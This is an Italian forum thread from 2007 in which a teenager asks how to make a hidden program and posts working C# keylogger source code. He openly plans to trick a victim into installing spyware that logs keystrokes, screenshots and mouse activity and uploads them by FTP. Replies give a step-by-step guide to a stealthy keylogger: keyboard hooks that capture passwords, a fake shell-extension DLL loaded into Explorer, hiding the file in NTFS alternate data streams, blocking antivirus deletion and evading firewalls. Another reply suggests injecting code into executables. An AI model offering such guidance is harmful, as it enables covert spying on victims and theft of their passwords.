View Full Version : applicazione "invisibile" in visual c#
Ciao ragazzi....
ho iniziato da poco a scrivere programmi in visual c# 2005 express....
e quindi ho bisogno fi un pò di aiuto......
avete mica un modello di applicazione invisibile??
ho provato a modificare il progetto di un key logger strasemplice trovato in rete,,,,, ma anche facendo il debug sul progetto originario mi da errore...
ho bisogno che:
non compaia nella taskbar
non compaia sul desktop
e neanke nel task manager
e ke obbligatoriamente funzioni anke se nn è selezionata dall'utente
insomma deve funzionare tipo la metà dei programmini inutili che windows fa partire ad ogni startup... :D
grazie!!!!!!
ciaooooo
dai datemi una mano pleaseeeeeeeee
almeno un ciao potreste lasciarlo.....:cry:
ciao XD
io non sono pratico ma hai tutto il mio sostegno morale:D
cosa intendi per invisibile?
P.S.
sono crudele, perché anche se me lo spieghi non posso sicuramente risponderti, in quanto non conosco c# né VS2005...
ma almeno rendi la domanda + chiara;)
un applicazione che non compaia nella taskbar non compaia sul desktop.... e ovviamente neanke nel task manager..... (anke se quella del task manager si può evitare.....) e ke obbligatoriamente funzioni anke se nn è selezionata dall'utente
insomma deve funzionare tipo la metà dei programmini inutili che windows fa partire ad ogni startup... :D
beh per quel che ne so (e fidati ne so poco) quello si fa o con un rootkit, quindio andare a modificare il kernel di windows, o non creando un vero e proprio processo, ma tipo forzare il caricamento di qualche dll ad un altro processo, tipo explorer.exe.... oppure creare una periferica, o un servizio... .bah chiedi a gente + esperta....
e mi raccomando fai il bravo...
non ti preoccupare è soltanto una sfida personale ;)
Nel frattempo riporto la sorgente del programmino he avevo trovato..... se qualcuno mi spiega xkè nn funziona.... thx XD
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Threading;
namespace KeyLogger
{
/// <summary>
/// Descrizione di riepilogo per Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
/// <summary>
/// Variabile di progettazione necessaria.
/// </summary>
private System.ComponentModel.Container components = null;
public Form1()
{
InitializeComponent();
}
/// <summary>
/// Pulire le risorse in uso.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Codice generato da Progettazione Windows Form
/// <summary>
/// Metodo necessario per il supporto della finestra di progettazione. Non modificare
/// il contenuto del metodo con l'editor di codice.
/// </summary>
private void InitializeComponent()
{
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
this.ClientSize = new System.Drawing.Size(304, 46);
this.Name = "Form1";
this.Opacity = 0;
this.ShowInTaskbar = false;
this.Text = "KeyLogger by Dokkis";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
this.Load += new System.EventHandler(this.Form1_Load);
}
#endregion
/// <summary>
/// Il punto di ingresso principale dell'applicazione.
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
private void Form1_Load(object sender, System.EventArgs e)
{
KeyLoggerListener keylogger = new KeyLoggerListener();
keylogger.OnKeyPress+=new KeyLogger.KeyLoggerListener.KeyPressHandler(keylogger_OnKeyPress);
keylogger.Run();
}
private void keylogger_OnKeyPress(object inputListener, KeyPressEventArgs KeyPressInfo)
{
char digit = Convert.ToChar(KeyPressInfo.KeyCode);
MessageBox.Show(KeyPressInfo.KeyCode+"\n"+digit);
}
}
public class KeyPressEventArgs : EventArgs
{
public KeyPressEventArgs( Keys ModifierKeys, int KeyCode)
{
this.ModifierKeys= ModifierKeys;
this.KeyCode = KeyCode;
}
public readonly Keys ModifierKeys;
public readonly int KeyCode;
}
public class KeyLoggerListener
{
public delegate void KeyPressHandler
(object inputListener,
KeyPressEventArgs KeyPressInfo);
public event KeyPressHandler OnKeyPress;
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState (long vKey);
public void Run()
{
Thread t = new Thread(new ThreadStart(Listener));
t.IsBackground=true;
t.Start();
}
private void Listener()
{
while(true)
{
Thread.Sleep(10);
int i=0;
for(i=1;i<Byte.MaxValue;i++)
{
if (GetAsyncKeyState(i) == Int16.MinValue+1 )
{
KeyPressEventArgs KeyPressInfo =
new KeyPressEventArgs(
Control.ModifierKeys,i);
if (OnKeyPress!=null)
{
OnKeyPress(this,KeyPressInfo);
}
}
}
}
}
}
}
stdecden
19-07-2007, 10:47
Se non sbaglio quello che vorresti creare é un servizio...
Temo peró che questa funzionalitá sia supportata solo dal Visual Studio proffessionale (non la Express Edition)
ah capisco.... quindi nn c'è modo di implementare un codicello per la versione xpress???
se è così grazie a tutti fa niente........ grazie a tutti e ciaooooooooooooo
se avete altre idee... invece..
proponete proponete proponete! :D
il malware per Windows non si programma in C#, si programma in C :p
il tutto dipende molto dal tipo di obiettivo: amministratore scafato o utonto? Windows XP o Windows Vista?
orientativamente comunque le strade sono due: DLL o driver, preferibile la prima.
dal sorgente che hai postato noto che stai cercando di fare un KeyLogger :p
in tal caso allora anche la strada del driver sarebbe buona, ma dipende molto da quello che ci devi fare col file di log: lo tieni nascosto sul pc della vittima o lo vuoi anche spedire in rete, magari per email? nella prima ipotesi potrebbe essere meglio il driver, nella seconda sarebbe molto meglio la DLL.
l'idea è questa....
allora.... precisiamo k sarà solo per uso personale...
quindi.... un logger.... k viene installato quando il malcapitato fa girare un programmino fatto da me ( k ovviamente nn ha nulla a k fare cn il logger)
una volta installato....
si copia sull'hd in qualke cartella dove l'utonto nn andrà mai....
siccome pensavo di farlo rimanere visibile nei processi attivi.... anke un altro programmino picciriddu k serve solo a riaprirlo se viene kiuso,,,XD
poi vabbè logga la tastiera prende screenshot log del mouse.. e invia tutto via ftp su un server......
si pò fa??
l'idea è questa....
allora.... precisiamo k sarà solo per uso personale...
quindi.... un logger.... k viene installato quando il malcapitato fa girare un programmino fatto da me ( k ovviamente nn ha nulla a k fare cn il logger)
una volta installato....
si copia sull'hd in qualke cartella dove l'utonto nn andrà mai....
siccome pensavo di farlo rimanere visibile nei processi attivi.... anke un altro programmino picciriddu k serve solo a riaprirlo se viene kiuso,,,XD
poi vabbè logga la tastiera prende screenshot log del mouse.. e invia tutto via ftp su un server......
si pò fa?? che si possa fare la risposta è decisamente si, la domanda più che altro sarebbe "a che livello" lo vuoi fare, e soprattutto che tipo di "target" ti poni (amministratore scafato o utonto, Windows XP o Windows Vista). perché in teoria un amministratore scafato potrebbe prevedere qualunque cosa ed impedirti del tutto di installare alcunché, senza alcuna possibilità, mentre invece sarebbe facilerrimo gabbare un classico utonto da installazione predefinita di XP.
comunque, eccoti 9 considerazioni per un keylogger pulito e silenzioso, fatto a regola d'arte:
1- C# è una piattaforma managed, è troppo "controllata", anche solo per il fatto che il processo resta visibile nel Task Manager. l'utonto per quanto tale avrebbe troppi modi di accorgersi del logging.
2- visto che il log va comunicato via internet direi di lasciare proprio perdere il driver e procedere con la DLL
3- suggerirei l'uso di Windows Hooks, per l'esattezza un Low Level Keyboard Hook:
http://msdn2.microsoft.com/en-us/library/ms644985.aspx
o altrimenti un normale Keyboard Hook, che ti darebbe informazioni più esaustive permettendoti così, ad esempio, di determinare in particolare quando un utente scrive una password:
http://msdn2.microsoft.com/en-us/library/ms644984.aspx
4- come sistema di caricamento suggerirei "pseudo - Shell Extension": realizza la tua DLL come una finta Shell Extension (sono le DLL che ti permettono ad esempio di aggiungere voci nei menu di contesto di Esplora Risorse; una pratica molto comune per es. nei programmi di compressione come WinRAR) ed installala come tale. non dovrai implementare tutte le funzioni di una vera Shell Extension: dovrai solamente far finta di aver ottenuto un errore in caricamento, in modo che la tua DLL rimarrà caricata ma non le sarà richiesto di "estendere la shell". per ulteriori informazioni fai un fischio, oppure consulta MSDN.
5- non vedo perché tu debba lasciare il keylogger visibile nell'elenco dei processi... a parte che se lo implementi come DLL sarà visibile sta c@ppe11a :asd:
6- teoricamente anche le DLL caricate in un processo possono essere enumerate e quindi rese visibili usando programmi appositi; ma se sei interessato ad ulteriori tecniche per invisibilizzare una DLL fai un fischio :asd:
*per la serie mafia rulez :sofico:*
tuttavia da quel che scrivi credo che non sarà necessario arrivare a tanto :D
7- piuttosto che nascondere il file mettendolo in una cartella dove l'utonto non andrà mai potresti provare ad invisibilizzare del tutto la DLL scrivendola in un cosiddetto Alternate Data Stream, anche detto fork. è una particolarità del file system NTFS, e, per inciso, una feature imho del tutto inutile che non fa altro che introdurre una vulnerabilità di sicurezza. si tratta praticamente di memorizzare due files sotto un unico file name. ci scommetto che anche un antivirus avrebbe difficoltà di fronte a una simile bastardata :p
8- per impedire ulteriormente l'eventuale cancellazione del keylogger da parte di un antivirus MOLTO scafato, potresti semplicemente avere l'accortezza di tenere aperto il file eseguibile del tuo keylogger dall'interno del keylogger stesso. se l'antivirus provasse a cancellarlo il kernel stesso gli darebbe picche, un po' come quando provi a cancellare un file in uso da un'altra applicazione e XP ti mostra l'errore.
9- quando compili, abilita l'opzione per omettere i frame pointers; in tal modo molti firewalls non saranno in grado di determinare che sei tu a spedire dati via internet, ma crederanno che sia kernel32.dll oppure il processo in cui hai caricato la tua DLL (tipo explorer.exe). per ingannare anche i firewalls più scafati fai un fischio (vd. sopra, mafia rulez ecc. ecc.).
hai messo giù una guida paiura..... :D
però... la metà delle cosè qui menzionate nn ho la minima idea di come realizzarle...:(
partendo da qui:
come sistema di caricamento suggerirei "pseudo - Shell Extension"
e proseguendo sul "creare una dll" :confused:
c'è qualke guidettina k lo spiega???? links? thx 1000
notte
EDIT: dimenticavo,,,, parli cn un 16 stampato in 3a scientifico con 4 in mate e 10 in informatica ....ihih
creare una DLL in Visual C++ non è difficile: basta che scegli il template adatto quando crei il nuovo progetto, e che dichiari una funzione DllMain anziché un normale main:
http://msdn2.microsoft.com/en-us/library/ms682583.aspx
per il resto è comunissimo codice C.
PS: ovviamente in una DLL devi anche includere windows.h, come per qualsiasi programma Win32.
ti riporto qui le istruzioni passo-passo per creare una DLL Win32 in una tipica installazione di Visual C++ 2005 Express con Platform SDK.
1) File -> New -> Project...
2) seleziona Win32 nel riquadro di sinistra
3) seleziona Win32 Console Application in quello di destra
4) scrivi nomi di progetto e solution, premi OK
5) aggiungi nella pseudocartella "Source Files" un nuovo file sorgente con estensione .c o .cpp, a seconda che vuoi usare solo C o anche C++.
6) scrivi la DllMain
urka O_o
mi viene un dubbio :D :D :D
mi sa che tu non conosci il C... ^^'
perdonami, io so partito in quarta ma non avevo letto che "hai da poco iniziato a scrivere programmi in Visual C# Express"... non conosci altri linguaggi?
turbo pascal.. proprio quello k speravi vero???? :D :sofico: :D
è, ammazza... :huh:
a sto punto tanto vale C# :asd:
anche se certo un keylogger in C# la vedo assai curiosa... :mbe:
comunque la mia esperienza in C# è pressoché nulla, limitata al cazzeggio per sperimentare la potenza del .NET, percui se lo vuoi fare in C# credo che il mio aiuto ti farebbe più perdere tempo che altro :D
puoi anche disassemblare l'eseguibile dell'applicazione dalla quale vuoi far il keylogger, appendere alla fine del file in zona con zero-padding il tuo codice iniettato e far sì che questo codice vada a salvar un file con il testo loggato.. o addirittura che lo spedisca via email.
io anni fa avevo fatto una cosa simile col telnet per razziare le password :D
zero padding.... interessante,.... sarebbe un programma??? links???
grazzzzziiiiiieeeeeeee
vBulletin® v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.